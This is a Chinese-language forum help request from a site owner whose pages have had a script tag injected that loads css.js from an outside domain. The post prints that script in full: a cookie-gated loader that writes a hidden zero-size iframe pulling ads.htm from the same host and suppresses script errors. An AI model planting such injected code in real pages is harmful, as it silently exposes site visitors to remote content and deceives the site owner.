昨天上了几个门户站，忽然发现页面字体比较乱，后来看原代码，不知道中了个什么病毒，至今还没搞定！请教各位！
具体如下：
在页面中都插入了这个代码：<script language="javascript" SRC="
http://g.2b6fe62a.info/css.js"></script>
导致网页中字体变大或者半天乱，对不齐！
请教怎么处理啊！！！！
此JS文件如下：
document.writeln("<script>");
document.writeln("function oK_Begin(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'<iframe width=0 height=0 src=\"
http://g.2b6fe62a.info/ads.htm\"><\/iframe>\');");
document.writeln("}");
document.writeln("}");
document.writeln("oK_Begin();");
document.writeln("<\/script>");
document.writeln("<script>window.onerror=function(){return true;}<\/script>")
